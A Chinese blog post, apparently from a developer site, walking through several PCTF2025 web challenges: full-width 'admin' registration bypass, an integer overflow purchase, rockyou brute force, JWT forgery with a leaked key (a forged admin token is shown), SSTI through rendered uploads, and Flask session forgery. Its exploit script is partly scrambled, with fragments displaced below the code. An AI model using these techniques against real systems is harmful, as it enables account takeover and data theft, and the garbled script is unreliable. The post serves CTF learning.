跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Python大前端算法

PCTF2025 Web 赛题实战复盘:从整数溢出到 SSTI

综述由AI生成本次复盘涵盖 PCTF2025 Web 部分多道赛题,涉及全角字符绕过、Rust 整数溢出、JWT 伪造与密钥泄露、文件上传 SSTI 及 Session 篡改等核心漏洞。通过分析 Flask 应用源码,定位了命令执行白名单绕过、密码覆盖机制及模板注入点。结合爆破工具与流量分析,成功获取 Flag。重点展示了从信息收集到利用链构建的完整思路,适合安全爱好者参考学习。

1qazxsw2发布于 2026/4/8更新于 2026/5/2217 浏览
PCTF2025 Web 赛题实战复盘:从整数溢出到 SSTI

PCTF2025 Web 赛题实战复盘

本次复盘涵盖了 PCTF2025 Web 部分的多道典型赛题,涉及全角字符绕过、Rust 整数溢出、JWT 伪造与密钥泄露、文件上传 SSTI 及 Session 篡改等核心漏洞。通过分析 Flask 应用源码,我们定位了命令执行白名单绕过、密码覆盖机制及模板注入点。结合爆破工具与流量分析,成功获取 Flag。以下是各题目的详细分析与利用思路。

神秘商店

题目入口仅有一个登录框。常规登录无法通过,尝试使用全角字符进行注册和登录。

文章配图

后端代码存在转换逻辑,全角字符能够绕过后端对 admin 的检测,将全角 admin 识别为正常的 admin,从而造成覆盖注册并修改密码。

文章配图

注册成功后,利用整数溢出漏洞(数值从 4294967246 变为 50)购买 Flag。可以直接编写脚本自动化完成登录与攻击流程。

import requests

def exploit():
    url = "http://challenge2.pctf.top:32735"
    session = requests.Session()
    
    print("[+] 注册管理员账户...")
    # 注意这里使用了全角 n
    users = {"username": "admin", "password": "123456"}
    response = session.post(f"{url}/register", data=users)
    print(f"[+] 注册响应:{response.status_code}")
    
    print("[+] 登录...")
    users = {"username": "admin", "password": "123456"}
    response = session.post(f"{url}/login", data=users)
    print(f"[+] 登录响应:")
    
    response = session.get()
    ()
    
    ()
    amount = {: }
    response = session.post(, data=amount)
    ()
    
    ()
    product = {: }
    response = session.post(, json=product)
    ()

 __name__ == :
    exploit()
{response.status_code}
f"{url}/user"
print
f"[+] 用户信息:{response.text}"
print
"[+] 触发 Rust 整数溢出..."
"amount"
4294967246
f"{url}/add_balance"
print
f"[+] 增加余额:{response.text}"
print
"[+] 购买 Flag..."
"product_id"
4
f"{url}/buy_product"
print
f"[+] 购买结果:{response.text}"
if
'__main__'

文章配图

该题主要考察 PHP 特性与整数溢出处理。

We_will_rockyou

下载源码后进行分析,这是一个基于 Flask 的服务器面板应用。

基础配置与初始化

from flask import Flask, redirect, url_for, render_template, request
import jwt, uuid, os, subprocess
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
# 每次重启服务器时,SECRET_KEY 都会随机生成,这意味着旧 Token 失效
app.config['SECRET_KEY'] = str(uuid.uuid4())
accounts = {}

认证逻辑 (JWT)

这部分负责维持登录状态。由于使用了随机 UUID 作为 Key,安全性在运行时尚可,但无法持久化。

def create_token(user_id, username):
    payload = {'user_id': user_id, 'username': username}
    token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
    if isinstance(token, bytes):
        token = token.decode('utf-8')
    return token

def verify_token(token):
    try:
        payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
        return payload['user_id'], payload['username']
    except:
        return None

命令执行逻辑

这是本题的核心风险点。虽然限制了白名单命令,但使用了 shell=True。

SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more']

@app.route('/dashboard/run', methods=['POST'])
@login_required
def run_command(user_id, username):
    cmd = request.form.get('command', '').strip()
    # 检查机制:只判断命令行的第一个单词是否在白名单内
    if not cmd or cmd.split()[0] not in SAFE_COMMANDS:
        return render_template('dashboard.html', error_msg="Error: Command not allowed or empty")
    try:
        # 风险点:shell=True。虽然开头是 ls,但可以利用 shell 拼接符
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
        output = result.stdout + result.stderr
        return render_template('dashboard.html', output=output, command=cmd)
    except Exception as e:
        return render_template('dashboard.html', error_msg=f"Error: {str(e)}")

启动逻辑与管理员密码

启动时会尝试从系统文件读取密码覆盖默认值,这留下了字典爆破的突破口。

if __name__ == '__main__':
    admin_id = 0
    admin_username = 'admin123'
    admin_password = str(uuid.uuid4())
    
    # 密码覆盖机制:尝试从系统文件读取密码
    for path in ['/password', './password.txt']:
        try:
            if os.path.exists(path) and os.isfile(path):
                with open(path, 'rb') as f:
                    raw = f.read()
                    if not raw: continue
                    text = raw.decode('utf-8', errors='replace').strip()
                    candidates = [line.strip() for line in text.splitlines() if line.strip()]
                    if candidates:
                        import secrets
                        admin_password = secrets.choice(candidates)
                        break
        except: pass
    
    accounts[admin_id] = {
        'username': admin_username,
        'password': generate_password_hash(admin_password)
    }
    app.run(debug=False, host='0.0.0.0')

用户名固定为 admin123,而密码虽然初始随机,但会被文件内容覆盖。题目提示使用 rockyou.txt,因此直接对该用户名进行字典爆破。

文章配图

爆破成功后,即可进入后台执行命令。

文章配图

文章配图

Jwt_password_manager

审计代码发现 JWT 签名密钥已泄露,且逻辑中存在将 flag 存储为用户密码项的机制。

app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'
# ... 省略中间逻辑 ...
if __name__ == '__main__':
    admin_password = str(uuid.uuid4())
    insert_account('admin', generate_password_hash(admin_password))
    
    # flag in admin account ! ^-^
    for path in ['/flag', './flag.txt']:
        try:
            if os.path.exists(path) and os.isfile(path):
                with open(path, 'rb') as f:
                    raw = f.read()
                    if raw:
                        content = raw.decode('utf-8', errors='replace').strip()
                        add_password_item('admin', website='seeded-flag', site_username='flag-file', password=content)
                        break
        except: pass

既然密钥已知,我们可以先注册一个普通账号拿到 Token,然后在 jwt.io 上解密并修改 Payload 中的 username 为 admin,重新签名后替换 Cookie,即可访问管理员数据获取 Flag。

文章配图

伪造后的 Admin Token 示例:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImIzMGEwYzNhLTI5Y2YtNGQ0ZS04ZDJiLTcxZGIxOWJlYjc2MiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.PMpPt65DM7rU-z3gljV1f8z5h_DIXSmoDQnMu2vKgQo

文章配图

登录后保存密码即可查看 Flag。

ez_upload

题目提供文件上传功能,但限制查看特定类型文件,且直接读取 /etc/passwd 被过滤。

BLACKLIST_KEYWORDS = [
    'env', '.env', 'environment', 'profile', 'bashrc', 
    'proc', 'sys', 'etc', 'passwd', 'shadow', 'flag'
]

@app.route('/file')
def view_file():
    file_path = request.args.get('file', '')
    file_path_lower = file_path.lower()
    for keyword in BLACKLIST_KEYWORDS:
        if keyword in file_path_lower:
            return render_template_string(template, error_message='...')
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            file_content = f.read()
        # 高危点:render_template_string 渲染了用户上传的文件内容
        return render_template_string(template, file_path=file_path, file_content=file_content)
    except Exception as e:
        # ... 错误处理 ...

关键点在于 render_template_string 渲染了 file_content。如果用户上传包含 Jinja2 语法的文件(如 {{ 7*7 }}),并在查看时触发,即可实现 SSTI。

文章配图

通过构造 SSTI Payload,可以成功读取敏感文件。

文章配图

Do_you_know_session?

搜索框中可注入 SSTI,且有 WAF 防护,但能返回 Config 信息。

文章配图

文章配图

搜索参数 ?context= 处存在 SSTI,配合 WAF 绕过技巧,获取到了 Secret Key。

1919810#mistyovo@foxdog@lzz0403#114514

有了 Secret Key 和现有的 Session Cookie,可以使用 flask-session-cookie-manager 工具伪造 Session。

文章配图

文章配图

最终通过读取 environ 变量获取 Flag。


总结

以上几道题展示了 Web 安全中常见的几种攻击面:输入验证不足导致的字符绕过、弱口令与字典爆破、硬编码密钥导致的 JWT 伪造、不安全的模板渲染引发的 SSTI 以及 Session 管理不当。在实际渗透测试中,除了关注代码逻辑,还要留意环境配置与第三方库的使用细节。

目录

  1. PCTF2025 Web 赛题实战复盘
  2. 神秘商店
  3. Wewillrockyou
  4. 基础配置与初始化
  5. 每次重启服务器时,SECRET_KEY 都会随机生成,这意味着旧 Token 失效
  6. 认证逻辑 (JWT)
  7. 命令执行逻辑
  8. 启动逻辑与管理员密码
  9. Jwtpasswordmanager
  10. ... 省略中间逻辑 ...
  11. ez_upload
  12. Doyouknow_session?
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • 微软 BitNet.cpp 突破 AI 推理硬件限制:单 CPU 运行 100B 大模型
  • LazyLLM 多 Agent 应用全流程实践:从源码部署到可视化 Web 调试的低代码方案
  • OpenClaw 推出图形界面版 ClawX,简化 AI 智能体编排配置
  • AI 大模型学习路线:从基础到进阶的系统指南
  • llama-cpp-python 本地部署与实战指南
  • macOS 安装 Claude Code 完整教程
  • 无人机数据采集中的C语言优化技巧与性能调优
  • Kafka-UI 开源管理平台部署与使用指南
  • Python 安装 Pandas 常见错误与解决方案
  • 操作系统迁移至新 SSD 的两种实用方法
  • WhisperLiveKit 实时语音识别指南:从安装到生产部署
  • 基于城市场景下无人机三维路径规划的 NMOPSO 多目标优化算法
  • 电信行业数据分析的主要应用场景与价值分析
  • OpenClaw 安装与飞书机器人配置实战指南
  • 使用 Web Unlocker API 高效抓取亚马逊数据
  • Flutter 三方库 eth_sig_util 的鸿蒙化适配指南
  • VR 科普学习机赋能新课堂
  • API 设计的 7 个致命错误与最佳实践指南
  • C#上位机对接西门子PLC(S7-1200/1500/300/400)实战指南与常见错误解析
  • 31 岁转行软件测试:一位 34 岁从业者的经历与感悟

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online